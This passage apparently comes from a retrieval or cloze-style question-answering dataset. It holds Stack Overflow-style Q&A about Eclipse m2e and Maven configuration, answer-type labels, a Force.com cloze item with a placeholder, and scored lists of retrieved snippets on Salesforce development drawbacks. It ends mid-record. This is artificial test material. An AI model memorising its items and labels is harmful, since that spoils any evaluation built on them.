folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : Here is the solution .. . .. . 1 . Open Marker View Window Show View .. . 2 . Right-click on the Error message .. . 3 . Select Quick Fix .. . 4 . Click Finish", "Question : I read that the producers of m2e has stopped producing m2e connectors for anything beyond svn 1.7 . And Tigris has apparently taken up the slack to maintain the m2e-subclipse connector . Q1 . My question is where is the eclipse update url for using svn 1.8.x As I realise svn 1.8.x interface is implemented in subclipse 1.10 . But where is the update url to update eclipse to use m2e with subclipse 1.10 Q2 . Otherwise is there an alternative toward having maven access svn 1.8.x in eclipse Comment : subclipse.tigris.org update 1.10.x http : subclipse.tigris.org update 1.10.x Comment : +khmar subclipse 1.10 does not have the connector to connect m2e to subclise 1.10 . Read the question . The connector allows you to check your project out as maven project thro a svn 1.8 . To avoid confusing people you should remove you comment . I have already installed subclipse 1.10 thro the link you wrote . Now I need the the update url to m2e-subclipse not subclipse . They are not the same . Comment : I m not sure but are you looking for this : github.com tesla m2eclipse-subclipse https : github.com tesla m2eclipse-subclipse Comment : See : subclipse.tigris.org issues show bug.cgi id 1557 http : subclipse.tigris.org issues show bug.cgi id 1557 .. . Answer : A1 . There is no official m2eclipse-subclipse update-site for subclipse 1.10 . There is an unofficial project here : .. . .. . https : github.com tesla m2eclipse-subclipse .. . .. . However : .. . .. . A2 . It seems the connector is no longer necessary . I checked out the project using the checkout option in the Svn Repository Exploring perspective and it already had the Maven Nature enabled . I m using Eclipse 4.3.1 subclipse 1.10.x and m2e-wtp 1.4 . Comment : Connector had never been necessary when you perform checkout thro repository explorer . However connector is necessary to allow import as maven project from svn repository in the import or new- project menu actions . I am also using 4.3.1 . Comment : How do use this github project Do you need to compile and package it yourself as a jar Comment : @Philipp it appears so . You can download the zip from the Download ZIP button at the bottom of the right menu . You could also use the egit plugin and make a pull request although I wouldn t recommend it unless you plan to contribute to the project .", "Question : Historically its been a major hassle for our team to import our multi-module Maven project into Eclipse given all the Flex WTP and GWT stuff in there . We were recently thinking that the maven-eclipse-plugin http : maven.apache.org plugins maven-eclipse-plugin index.html could help us by generating the appropriate Eclipse project files . However it seems now that the M2Eclipse plugin has been swallowed up by Eclipse and importing Maven projects now seems to read the pom and try to do the Right Thing . Does this mean the maven-eclipse-plugin is essentially obsolete What can we do to help our projects import into Eclipse in the best possible way .. . Answer : I don t see it as a case of one making the other obsolete . I see it as two independent plugins with each establish a relationship between Eclipse and Maven but in opposite directions . With m2eclipse being a lot more integrated it appears to be the more popular option . It plays well with the maven-ear-plugin for packing up an EAR . The m2e-wtp http : www.eclipse.org m2e-wtp plugin also sits in the middle of m2eclipse and WTP to allow Eclipse to utilise your POM files to deploy your projects to the server using Run As. . Server .", "Question : Historically its been a major hassle for our team to import our multi-module Maven project into Eclipse given all the Flex WTP and GWT stuff in there . We were recently thinking that the maven-eclipse-plugin http : maven.apache.org plugins maven-eclipse-plugin index.html could help us by generating the appropriate Eclipse project files . However it seems now that the M2Eclipse plugin has been swallowed up by Eclipse and importing Maven projects now seems to read the pom and try to do the Right Thing . Does this mean the maven-eclipse-plugin is essentially obsolete What can we do to help our projects import into Eclipse in the best possible way .. . Answer : maven-eclipse-plugin http : maven.apache.org plugins maven-eclipse-plugin and m2eclipse http : m2eclipse.sonatype.org now m2e http : eclipse.org m2e are independent projects . They stopped working together from 2.7 release of maven-eclipse-plugin when maven-eclipse-plugin dropped eclipse : m2eclipse goal . I believe you can use maven-eclipse-plugin with Eclipse if you do not have m2e plugin but the support especially for wtp is limited if not non-existent . Comment : The latest maven-eclipse-plugin documentation makes it look like it still has the eclipse : eclipse goal . See here : maven.apache.org plugins maven-eclipse-plugin eclipse-mojo.html http : maven.apache.org plugins maven-eclipse-plugin eclipse-mojo.html Comment : @HDave . I did not say it does not . I said eclipse : m2eclipse goal - specifically to support m2eclipse . That is also why I mentioned you can still have it work with Eclipse . Comment : I think I need to get those eyeglasses...misread the text . Sounds like we ll go with m2e and try to get that working with configurations and all . Thanks .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : https : bugs.eclipse.org bugs show bug.cgi id 350081 .. . .. . request on CXF JIRA see 1 https : issues.apache.org jira browse CXF-4152 to add lifecycle mappings in the cxf-codegen-plugin itself . This would require m2e 1.1 but I believe it is better approach than having connectors built outside of cxf project assuming that lifecycle mapping API would change less frequently than cxf-codegen-plugin and cxf .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : In case for some reason you can t use the build helper plugin the easiest way albeit not as convenient and somewhat tedious I have found to deal with this is : .. . .. . 1 . Separate the generated source code into its own project or sub module . 2 . You will want to keep this project predominately closed or not imported into Eclipse when you are working on the parent project . 3 . In the parent project that needs the generated code make sure to now depend on the generated source code project via Maven pom dependency . 4 . When you need to update the generated code go to the generated code project and run mvn install . Now refresh the parent project by right clicking and selecting Maven- Update Project.. . .. . .. . This generally works well for projects that use a semi static source for code generation such as SOAP WSDLs Apache CXF or code generated from a database jOOQ . For APT and other AspectJ-like-code it doesn t work as well because you are editing the source frequently .", "Question : I read that the producers of m2e has stopped producing m2e connectors for anything beyond svn 1.7 . And Tigris has apparently taken up the slack to maintain the m2e-subclipse connector . Q1 . My question is where is the eclipse update url for using svn 1.8.x As I realise svn 1.8.x interface is implemented in subclipse 1.10 . But where is the update url to update eclipse to use m2e with subclipse 1.10 Q2 . Otherwise is there an alternative toward having maven access svn 1.8.x in eclipse Comment : subclipse.tigris.org update 1.10.x http : subclipse.tigris.org update 1.10.x Comment : +khmar subclipse 1.10 does not have the connector to connect m2e to subclise 1.10 . Read the question . The connector allows you to check your project out as maven project thro a svn 1.8 . To avoid confusing people you should remove you comment . I have already installed subclipse 1.10 thro the link you wrote . Now I need the the update url to m2e-subclipse not subclipse . They are not the same . Comment : I m not sure but are you looking for this : github.com tesla m2eclipse-subclipse https : github.com tesla m2eclipse-subclipse Comment : See : subclipse.tigris.org issues show bug.cgi id 1557 http : subclipse.tigris.org issues show bug.cgi id 1557 .. . Answer : Once upon a time I answered this very question but for Subclipse 1.8.x http : stackoverflow.com a 10294959 769261 You re right getting m2e integration is still a hastle in 1.10.x using the following update-site will get you what you want : .. . .. . http : subclipse.tigris.org m2eclipse latest Comment : Thanks a lot : D Comment : This must be the 10th time I m reading this page just for this link . Thanks Comment : @DeliveryNinja ditto that : Comment : Still doin it . Comment : This update-site doesn t work anymore for mars . Its : subclipse.tigris.org m2eclipse latest http : subclipse.tigris.org m2eclipse latest", "Question : I am trying to work with Spring Data and Neo4j http : www.springsource.org spring-data neo4j . I started by trying to follow this guide https : github.com SpringSource spring-data-graph linked to by the main site . In particular I based my pom.xml off of the Hello World example file https : github.com SpringSource spring-data-graph-examples blob master hello-worlds pom.xml . Here is a snip from my pom.xml for the plugin that is causing the issues.. . The error I am seeing is.. . I am running Eclipse 3.6.2 and m2e 0.13 . I m no Maven expert so please be very explanitory in your answers if possible . update I have now also tried m2e 1.0.0 http : www.eclipse.org m2e download via this update-site http : download.eclipse.org technology m2e milestones 1.0 and still get the same error . Comment : What version of maven are you using Spring Data Graph has used maven2 for its build-process mostly because docbook-plugin issues . BTW . the spring-data projects will migrate to gradle soon : Comment : For eclipse I am using the 3.0.3 integrated maven whatever comes with m2e . Is all of Spring moving to gradle or just Spring Data Comment : Forget about this working with Groovy . What a nightmare . I can t even use Indigo now because of this travesty . Comment : Can anyone share a link-to the place this new mode of operation for M2E is documented .. . Answer : What a mess . I don t remeber where I found this but I had to add the following to get m2Eclipse to be happy . Even more sad is that it isn t exactly easy to understand why this tag is needed.. . There were a number of other issues with the m2Eclipse plug-in that simply didn t work with Spring Data . In the end I disabled m2Eclipse in favor of the Apache Eclipse plug-in http : maven.apache.org plugins maven-eclipse-plugin . Comment : What plugin repository hosts the org.eclipse.m2e : lifecycle-mapping plugin Comment : +1 for what a mess . I had the same frustration today trying to get m2e working in eclipse-indigo . I ended up uninstalling m2e 0.13 and went back to 0.12 and my build in eclipse is happy again without having to modify my pom . Comment : If your eclipse can t find org.eclipse.m2e : lifecycle-mapping plugin it s because you put the snippet above in the wrong plugin list in the pom it has to go under pluginManagement Comment : note : m2e 1.x can do this automatically as a Quick Fix from the Problems view Comment : Yes pluginmanagement stuff goes under build . You would think the m2 page would mention this trifle .", "Question : I am an eclipse power and who has ignored maven due to the historically poor maven eclipse integration . m2e seems to be maturing and I am taking it out for a serious test drive . I want to understand how m2e works within eclipse so I can better get the two working smoothly together and to understand the still cryptic error messages and problems that arise . I have tried googling for an explanation of the m2e eclipse integration architecture and found nothing that provides a good account of how the integration works . rather just a lot of scattered blog posts all over the web . Can anyone provide a solid overview of how m2e bridges the gap between the eclipse view of the world and maven view of the world Especially how does maven integrate into the incremental builds that eclipse does What is the impact on eclipse stability performance from using m2e . Comment : m2eclipse is quite mature at this point handles multi-module projects EAR s WAR s correctly . What error messages are you getting one tip m2eclipse and mvn eclipse : eclipse should not be used together . Comment : what is eclipse power .. . Answer : In short m2e will setup your Eclipse base on the Maven POMs of your projects and it provides you access to Maven commands .. . .. . these are some of the most obvious things m2e done : .. . .. . 1 . setup the source folder and output directory according to POM .. . 2 . Setup dependencies libraries and project dependency base on POM .. . 3 . Use corresponding Eclipse plugins base on Maven plugins if M2E knows how to deal with it etc . 4 . Allow you to run Maven goals .. . 5 . etc.... . It is neither a formal nor a accurate description but I wish it give some basic idea : P", "Question : When deploying spring MVC application I am having java.lang.ClassNotFoundException : org.springframework.web.context.ContextLoaderListener .. . .. . Details : - eclipse Indigo Service Release 2 Eclipse IDE for Java EE Developers - m2e - Maven Integration for Eclipse - m2e-wtp - Maven Integration for WTP I confirm that my web project has maven dependencies added in deployment assembly . I tried to do some cleanup like update project configuration maven clean install .. . but issue is still there any help is welcome . .. . Answer : I think there was a bug at some point in the m2e-wtp plugin . I did an update to the latest version Help- Check for updates and this problem went away for me .", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : Right-click the Error message : .. . .. . Project configuration is not up-to-date with pom.xml Run project configuration update .. . .. . in the Problems View and select Quick Fix and click Finish to select the default Update project configuration . This fixes it . Comment : This works for me too . Why isn t this the accepted answer Seems the accepted answer does too much . Comment : @NielsBasjes this isn t the accepted answer because it simply isn t helpful . When you add something to the build path in Eclipse that means you are no longer in sync with the POM hence the warning . Updating the project configuration simply removes the extra build path entry which was the initial problem to begin with .", "Question : I have been using m2eclipse http : m2eclipse.sonatype.org for 2 years or so and have now switched to m2e http : eclipse.org m2e . Unfortunately this has broken some functionality for me . In many projects I have generated Java code usually generated through a main class in a library-project . Here s a typical setup : .. . .. . Previously I would just have to import that project with eclipse as a maven project the code would automatically be executed and the source folder added to the eclipse project . Now m2e has installed a connector for the buildhelper plugin so the source folder is created but I have to manually trigger code generation by executing Run As Maven generate-sources . This is really annoying I would like the maven build to respond to pom.xml changes Project Clean .. . SVN Updates Eclipse startup etc . as it previously did . What can I do to make m2e work like m2eclipse Comment : I suspect your problem has something to do with the changes made in M2E in the area of project lifecycle mapping http : wiki.eclipse.org M2E plugin execution not covered although I m not sure if specifying the plugin goal as execute would help in your case . Comment : @Vineet thanks this link looks like a good starting point . .. . Answer : You have to tell M2E that it s okay to run your code generator as part of the Eclipse build : .. . .. . Notes : .. . .. . 1 . It s important to put this configuration in the pluginManagement section not directly under plugins . 2 . This will cause M2E to perform all java executions specified in your POM as part of every Eclipse build . This means they will run often and be a big nuisance if they are slow . I m not sure how you would get M2E to run some of them and skip others . You d probably have to place the unwanted executions in profiles . Comment : I m accepting this because it s the correct answer . But it s still awful . Basically because of m2e I will have to write a custom plugin + custom connector for every code generation scenario unless I want my eclipse to be blocked by superfluous builds all the time . Comment : Agreed . I m currently struggling through the multitude of problems thrown in my path by m2e and I don t like it either . I d rather be writing code than fighting the build . Comment : You can use execute runOnIncremental false runOnIncremental execute to avoid running the plugin on every save . Comment : I dont understand this solution I dont use pluginmanagement so what do i have to enter in the run debug configuration", "Question : I have a maven project in eclipse and have maven goals that run annotation processors to generate code . The output folder for this code is target generated-sources apt . In order for eclipse to see this generated code I need to add target generated-sources apt as a source folder to the eclipse project . However this causes there to be an error of type Maven Configuration Problem saying .. . .. . Project configuration is not up-to-date with pom.xml . Run project configuration update .. . .. . I think I understand why this is the case as eclipse has a different set of source folders to maven s set . But I need this different set as I need eclipse to be able to see the generated source folders.. . When doing a pure maven built these source folders will be included in the build by maven . btw I have upgraded to the official eclipse release of the maven-eclipse-plugin m2e 1.0 - what used to be m2eclipse . I d like to see if I can find a work around solution to this with the m2e plugin before I have to go back to the old m2eclipse version . .. . Answer : This was what I found that worked good using spring 3.1.1 which does have the 3.0.6 version as well in it . Once I got the plugins setup and put into the correct area of the pom and included the argline and endorseddirs to have the java sources put out into the target generated-sources cxf folder then maven generated the sources ok . .. . .. . ... . If your wsdl folder is in basedir src main resources it ll find it automatically .. . .. . Hope this helps wildbill" ] }
[ "yes-answer-long", "yes-answer-short" ]
eclipse
UNK_RELATION
force.com@crm@124
force.com -- a platform-as-a-service development-environment created by salesforce.com which underlies the core salesforce @placeholder functionality and is available as a platform via database.com as well as via heroku a ruby-on-rails environment .
{ "confidence": [ 45.1671142578125, 44.360130310058594, 44.332305908203125, 42.13035583496094, 41.83587646484375, 41.20893096923828, 40.26311111450195, 40.17578887939453, 39.16201400756836, 38.307823181152344, 35.72280502319336, 35.70046615600586, 34.472442626953125, 34.33233642578125, 34.04468536376953, 33.6339111328125, 33.49146270751953, 32.82561111450195, 32.71540451049805, 32.487281799316406, 32.01428985595703, 31.71912956237793, 31.642759323120117, 31.205284118652344, 31.205284118652344, 31.13835906982422, 30.9398193359375, 30.933420181274414, 29.827009201049805, 29.62864112854004, 29.260759353637695, 29.086994171142578, 28.291088104248047, 28.265840530395508, 28.240234375, 28.191192626953125, 27.778240203857422, 27.476394653320312, 27.140003204345703, 27.140003204345703, 27.129785537719727, 26.631732940673828, 26.44942855834961, 26.169597625732422, 26.02170181274414, 25.793407440185547, 25.793407440185547, 25.53766632080078, 25.497098922729492, 25.438419342041016, 25.438419342041016, 25.438419342041016, 25.331329345703125, 25.30868148803711, 25.132797241210938, 25.074106216430664, 24.947235107421875, 24.87103271484375, 24.860746383666992, 24.74579429626465, 24.729246139526367, 24.7224178314209, 24.433576583862305, 24.256860733032227, 24.256860733032227, 24.10041046142578, 24.083106994628906, 24.055932998657227, 23.937671661376953, 23.79631805419922, 23.651355743408203, 23.651355743408203, 23.4517879486084, 23.43463897705078, 23.43222427368164, 23.362194061279297, 23.146394729614258, 23.146394729614258, 23.146394729614258, 23.146394729614258, 23.126230239868164, 23.099313735961914, 23.008066177368164, 23.008066177368164, 22.96908187866211, 22.96908187866211, 22.744325637817383, 22.72184944152832, 22.576887130737305, 22.436307907104492, 22.436307907104492, 22.302490234375, 21.74362564086914, 21.74362564086914, 21.74362564086914, 21.74362564086914, 21.62311553955078, 21.62311553955078, 21.38844108581543, 21.38844108581543 ], "content": [ "We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world .", "Take a look at the Development Lifecycle Guide : Enterprise Development on the Force.com Platform .", "Force.com does regularly enhance the platform .", "Bottom line is force.com is a CRM and not a Development platform if you can", "Disclaimers Disclosures : There are lots of benefits to a hosted platform such as force.com .", "I m have an application deployed to salesforce on the force.com platform which I m trying to configure a 2 way SSL for .", "In all honesty whilst there are potential benefits to developing on something like the force.com platform for me you couldn t use the force.com platform for true enterprise level apps .", "is housed on the Salesforce platform .", "While their marketing is exceptional at pushing the idea of Force.com as a general development platform it s not even remotely close yet .", "Considering Force.com is a cloud platform its ability to act as a client to an external WSDL-defined service is pretty underwhelming .", "In fact this values of picklist are already seen in inside salesforce but not on the force.com site .", "I am developing this on Salesforce Platform .", "Same happens if I create them inside the force.com platform .", "Everything about the development platform is a grafted-on afterthought .", "I m new to Salesforce development .", "The configuration of custom objects and fields is done in salesforce.com not code because there is no DDL in the force.com world .", "Using iframes directly in Salesforce is not a great idea - use Force.com Canvas instead which is supported by Salesforce and provides authentication for free - a sort of added value iframe .", "Force.com now has a standalone development-environment that you don t need to download Eclipse for .", "They split out the database with database.com so you can do all your web development on and your db calls using database.com .", "They have a REST API for early access and they bought heroku which is a ruby development in the cloud .", "I am sure that displaying dynamic configurable questionaires forms is a pretty common use-case on force.com salesforce.com platfrom .", "it is slow and painful to develop in the cloud their salesforce idea of Development As a Service is crazy .", "Thanks for the comment But this is only for the force.com site out side of salesforce : Site guest users profile .", "When working with the Force.com platform my current organisation has found a number of different approaches can work depending on the situation .", "This is not a valid url because it is not a valid domain-name : https : K12parentportal enrollmenthome HINT no .com .. . 3 . force.com is a business platform and is trustworthy .", "After saving the Cases using VF page for creation by the site user in Force.com Site Case got successfully created in Salesforce but i am not able to view the created case in site Showing Authorization Error", "When I type a web address in my web browser force.com or salesforce.com comes up in it .", "As much as I like the platform on certain levels I would very strongly highly emphatically recommend against it as a general application development platform .", "The force.com IDE aka force.com eclipse-plugin is incredibly slow .", "I am new to Salesforce development and Apex .", "I was able to access Salesforce.com both sandboxes and production from IE Chrome or firefox but not able to connect using force.com IDE Eclipse .", "I would like to know whether there any option to connect to the external db in the salesforce platform .", "It took a little over a week and me supplying a failing test case to salesforce support but the issue is now being reported as a salesforce known issue http : success.salesforce.com issues view id a1p30000000STLXAA4 suggesting it may get addressed in the platform .", "So please let me know how can I call your system via Rest Api from salesforce .", "I have created an application that consumes the salesforce API .", "I make money building on force.com", "Well here is the code : .. . .. . Ok the page looks good on force.com but when I open it from within the salesforce1-App on my iPad it has the same style like on force.com and not the nice styling like the other standard salesforce.com page- forms in the salesforce1-App", "I don t mean to be so negative because the platform is very cool in some ways and they re trying to do things in a multi-tenant environment that no one else is doing .", "You have no way to validate and or fix bugs in the platform .", "There are so many limits to the platform it becomes completely maddening .", "Is it possible to develop Single Page Application on Force.com platform using HTML5 and AngularJS - without using Visualforce page and Salesforce s Aura framework", "To give you a simple sense of how developer un-friendly the environment is take the lack of debugging environment referred to above .", "VMForce is dead : siliconangle.com blog 2011 09 01 http : siliconangle.com blog 2011 09 01 vmforce-is-dead-the-platform-rivalry-heats-up-between-salesforce-com-and-vmware", "I am using picklist in force.com site but for some reason all values of picklist are not showing up on the force.com site few of them are already displaying .", "Is there any way to do what I want within the force.com IDE or build it externally then deploy to force.com", "Matthew need to do in SalesForce", "Do the salesforce guys offer this", "I think this may have something to do with the forum software salesforce.com uses which seems to suck pretty hard .", "Everything is correct except force.com being in it .", "What I m looking for though is some real disadvantages to using such a platform .", "In general the pain of a young fledgling platform without the benefits of it being open-source .", "More that 2 years after this answer what about the platform these days", "I am a newbie in force.com just a week older .", "It will also redirect my browser to salesforce.com .", "Force.com version 36", "But in fairness to SFDC I d say this : the biggest problem I find with the platform is not the platform itself but the gargantuan expectations that almost anyone who sees the platform but hasn t developed on it has... . and those people tend to be in positions of great authority in business organizations marketing sales management etc .", "I m not familiar with force.com but couldn t you use source control and pull all the files down from force.com into your repository .", "This development-environment is typically shared but as eyescream mentions above it s possible to do some jiggery-pokery using developer accounts .", "However using an integration service http : www.salesforce.com platform cloud-infrastructure integration.jsp or web-services REST API etc .", "You are part of salesforce so I assume you are accessible from salesforce .", "A more recent approach now GA is Force.com Canvas http : wiki.developerforce.com page Force.com Canvas - this is iframe-based with additional security and features including passing context such as Salesforce fields into the iframe .", "The company I work for is building a managed force.com application as an integration with the service we provide .", "I created a simple visualforce page to override the standard salesforce.com page for New and Edit for a Custom Object .", "Then whenever it s necessary push the mainline up to force.com", "You can t save and test force.com code locally .", "We all use the Eclipse Force.com plugin without issues and have found the following set ups to work well .", "I am using in visualforce page of Salesforce.com .", "In salesforce org it works fine and display lookup value .", "it will alleviate some of the issues but you will still be bound to the Force.com database which is terrible and you ll not really get true control over your deployments .", "In salesforce I am not able to check what ssl library they are using and what features are available in the Library they are using .", "I guess Nest or Force.com must have tweaked some SSL config .", "I m having issues with proxy setting that are needed for Force.com IDE .", "It also enables the iframed web app to call Salesforce APIs based on that authentication either via JavaScript or by your backend web app Python Java etc using the credentials from the Canvas framework .", "I needed to convert this java code into force.com apex for me to be able to use a WTS web service .", "I was going through the workbook for Salesforce .", "Also the base libraries that are available are severely limited so we ve found ourselves implementing a bunch of stuff externally and then exposing those bits as services that are called by force.com .. . .. . 10 .", "Wow- there s a lot here that I didn t even know were limitations - after working on the platform for a few years .", "The reason you don t have a line-by-line debugger is precisely because it s a multi-tenant platform .", "I really REALLY like the platform but trust me - it can be one really cruel mistress .", "I think as a CMS it s pretty cool but as a platform for non CMS applications it s doesn t make sense to me .", "I want to show my site inside the Salesforce iFrame and when someone does any activity on my site inside the iFrame i want to update the Salesforce page as well", "What edition of salesforce are you on", "This is one of my biggest complaints and I would not freely choose to build on force.com for this reason alone .", "I m attempting to use the Force.com IDE to deploy the package but I m getting a series of errors such as the ones below .", "I have Eclipse Juno and Force.com IDE .", "btw you haven t stated version of Force.com plugin .", "SnapLogic http : www.snaplogic.com what-we-do integration-platform .. . 4 .", "Sesame Relational Junction http : www.sesamesoftware.com rj4salesforce.html .. . .. . Information on other tools to integrate Salesforce with other databases is available here : .. . .. . 1 .", "I am having trouble running the Force.com Migration tool .", ".. . .. . Step 7 : .. . .. . Be advised that Salesforce has crappy availability .", "what do you mean by Salesforce iFrame", "It s a very innovative environment and powerful on some levels I actually like VisualForce a lot but give it another year or two .", "I see you ve gotten some answers but I would like to reiterate how much time is wasted getting around the various governor limits on the platform .", "The efficiency of having a stable platform and avoiding big performance and stability problems is easily wasted in trying to code around the limits that people refer to .", "Here s a few things I can give you after spending a fair bit of time developing on the platform in the last fortnight or so : .. . .. . 1 .", "Example : Manage Public Reports permission is vastly different from Create and Customize Reports and that basically goes for everything on the platform.. . especially folders of any kind .", "I d love force.com if they did managed site hosting and I could get my data not just the extras or through some API but a nightly incr .", "To all above I am curious how the release of VMforce allowing Java programmer to write code for Force.com changes the disadvantages above", "I ll investigate at the Force.com end it would be good if someone at Nest could check the logs at their end - there should be enough detail here .", "Deleting and recreating is not an option since some of the files and folders are ones that the Force.com IDE will not let you delete ." ] }
{ "confidence": [ 78.91798400878906, 59.95786666870117, 56.2137336730957, 55.64447021484375, 54.835060119628906, 54.267154693603516, 49.59552001953125, 49.4451904296875, 47.44395065307617, 47.424076080322266, 46.9116096496582, 43.83555603027344, 43.79315185546875, 43.44093704223633, 43.09539031982422, 42.60003662109375, 42.16765594482422, 41.487449645996094, 41.18263244628906, 41.11767578125 ], "content": [ "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : I guess they are trying to address these issues . At dreamforce they mentioned they we re trying to drop the Governor limits to only 4 . I m not sure what the details are . They have a REST API for early access and they bought heroku which is a ruby development in the cloud . They split out the database with database.com so you can do all your web development on and your db calls using database.com . I guess they are trying to make it as agnostic as possible . But right about now these are all announcements and early access so like their Safe Harbor statements don t purchase on what they say only on what they currently have .", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : Here are 10 to get you started . 1 . Apex is a proprietary language . Other than the foce.com Eclipse plugin there s little to no tooling available such as refactoring code-analysis etc . 2 . Apex was modeled on Java 5 which is considered to be lagging behind other languages and without tooling see 1 can be quite cumbersome . 3 . Deployment is still fairly manual with lots of gotchas and manual steps . This situation is slowly improving over time but you ll be disappointed if you re used to having automated deployments . 4 . Apex lacks packages namespaces . All of your classes interfaces etc . live in one folder on the server . This makes code much less organized and class interface names necessarily long to avoid name clashes and to provide context . This is one of my biggest complaints and I would not freely choose to build on force.com for this reason alone . 5 . The force.com IDE aka force.com eclipse-plugin is incredibly slow . Saving any file whether it be a class file text file etc . usually takes at least 5 seconds and sometimes up to 30 seconds depending on how many objects data types class files etc . are in your org . Saving is also a blocking action requiring not only compilation but a full sync of your local project with the server . Orders of magnitude slower than Java or .NET . 6 . The online developer community does not seem very healthy . I ve noticed lots of forum posts go unanswered or unsolved . I think this may have something to do with the forum software salesforce.com uses which seems to suck pretty hard . 7 . The data-access DSL in Apex leaves a lot to be desired . It s not even remotely competitive with the likes of N Hibernate JPA etc . 8 . Developing an app on Apex VisualForce is an exercise in governor limits engineering . Easily half of programmer time is spent trying to optimize to avoid the numerous governor limits and other gotchas like visualforce view state limits . It could be argued that if you write efficient code to begin with you won t have this problem which is true to an extent . However there are many times that you have valid reasons to make more than x queries in a session or loop through more than x records etc . 9 . The save- compile- run cycle is extremely slow esp . when it involves zipping and uploading the entire static resource bundle just to do something like test a minor css or javascript change . 10 . In general the pain of a young fledgling platform without the benefits of it being open-source . You have no way to validate and or fix bugs in the platform . They say to post it to their IdeaExchange . Yeah good luck with that . Disclaimers Disclosures : There are lots of benefits to a hosted platform such as force.com . Force.com does regularly enhance the platform . There are plenty of things about it I like . I make money building on force.com Comment : That s a great list you ve got there Comment : I d love force.com if they did managed site hosting and I could get my data not just the extras or through some API but a nightly incr . backup of my Oracle dataset . Do the salesforce guys offer this I ve never been able to get a straight answer out of their sales guys which I always take as a no . Comment : They don t give you such raw access to your data . There is a backup service that gives you zipped CSVs of your org on a regular basis . There s also a replication api that allows you to keep your own side-by-side backup in pseudo real-time . Comment : @Jeremy out of curiousity.. . how much time do you spend in the eclipse ide plugin vs just setting things up in the setup menu s within a salesforce application Comment : I personally spend 90 of my time in either eclipse or a text-editor TextMate in my case . But that s because someone else usually does a lot of the basic data configuration . The configuration of custom objects and fields is done in salesforce.com not code because there is no DDL in the force.com world . There is a metadata api but I never use it during data design .", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : To all above I am curious how the release of VMforce allowing Java programmer to write code for Force.com changes the disadvantages above http : www.zdnet.com blog saas vmforcecom-redefines-the-paas-landscape 1071 Comment : it will alleviate some of the issues but you will still be bound to the Force.com database which is terrible and you ll not really get true control over your deployments . It s still early days and this may change going forward but right now it doesn t look to be an overly compelling alternative . Comment : VMForce is dead : siliconangle.com blog 2011 09 01 http : siliconangle.com blog 2011 09 01 vmforce-is-dead-the-platform-rivalry-heats-up-between-salesforce-com-and-vmware", "Question : When I type a web address in my web browser force.com or salesforce.com comes up in it . Here s an example : https : k12parentportal.force.com portal enrollmenthome . Everything is correct except force.com being in it . I think the actual address is : https : K12parentportal enrollmenthome but it s happened so often that I can t type the real address . It happens in Internet Explorer and Firefox . I reset IE but it keeps happening . This has been going on for several weeks . It will also redirect my browser to salesforce.com . I had never been to your website until my browser was redirected . I ran malewarebtyes and HitmanPro Anti Malware to remove it but it s still there . I have tried everything to remove it from my computer but nothing works . Can you please help me with this Thank you . Beverly .. . Answer : 1 . This is a website for programmers not a place to talk to Salesforce the company . 2 . This is not a valid url because it is not a valid domain-name : https : K12parentportal enrollmenthome HINT no .com .. . 3 . force.com is a business platform and is trustworthy . Google it .", "Question : We re currently looking at using the Force.com http : www.salesforce.com platform platform as our development platform and the sales guys and the force.com website are full of reasons why it s the best platform in the world . What I m looking for though is some real disadvantages to using such a platform . .. . Answer : Here s a few things I can give you after spending a fair bit of time developing on the platform in the last fortnight or so : .. . .. . 1 . There s no RESTful API . They have a soap based api that you can call but there is no way of making true restful calls .. . .. . 2 . There s no simple way to take their SObjects and convert them to JSON objects . 3 . The visual force pages are ok until you want to customize them and then 